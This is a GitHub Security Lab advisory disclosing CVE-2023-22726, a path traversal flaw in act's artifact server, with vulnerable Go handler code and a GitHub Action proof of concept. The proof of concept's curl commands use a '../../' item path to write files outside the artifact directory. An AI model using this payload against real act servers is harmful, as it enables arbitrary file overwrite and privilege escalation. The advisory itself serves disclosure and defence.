CVE-2023-22726: GHSL-2023-004: Arbitrary file upload and download in act - CVE-2023-22726

Coordinated Disclosure Timeline

• 09-01-23: Vulnerability report sent to Casey Lee.
• 10-01-23: Vulnerability acknowledged.
• 16-01-23: Patch Applied and Advisory Opened On Repo

Summary

The artifact server that stores artifacts from GitHub Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a GitHub Action.

Product

act

Tested Version

v0.2.35

Details****Issue 1: Arbitrary file upload in artifact server (GHSL-2023-004)

The /upload endpoint is vulnerable to path traversal as filepath is user controlled, and ultimately flows into os.Mkdir and os.Open.

router.PUT("/upload/:runId", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
        itemPath := req.URL.Query().Get("itemPath")
        runID := params.ByName("runId")

        if req.Header.Get("Content-Encoding") == "gzip" {
            itemPath += gzipExtension
        }

        filePath := fmt.Sprintf("%s/%s", runID, itemPath)

Issue 2: Arbitrary file download affecting the artifact server (GHSL-2023-004)

The /artifact endpoint is vulnerable to path traversal as the path variable is user-controlled, and the specified file is ultimately returned by the server.

router.GET("/artifact/*path", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
        path := params.ByName("path")[1:]

        file, err := fsys.Open(path)

Impact

This issue may lead to privilege escalation.

Proof of Concept

• Below I have written a GitHub Action that will upload secret.txt into the folder above the specified artifact directory. The first call to curl will create the directory named 1 if it does not already exist, and the second call to curl will upload the secret.txt file to the directory above the specified artifact directory.

• When testing this POC, the --artifact-server-path parameter must be passed to act in order to enable the artifact server.

  name: CI on: push

  jobs: test: runs-on: ubuntu-latest steps: - run: echo “Here are some secrets” > secret.txt - run: curl http://<yourIPandPort>/upload/1?itemPath=secret.txt --upload-file secret.txt - run: curl http://<yourIPandPort>/upload/1?itemPath=…/…/secret.txt --upload-file secret.txt

• CVE-2023-22726

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

You can contact the GHSL team at [email protected], please include a reference to GHSL-2023-004 in any communication regarding this issue.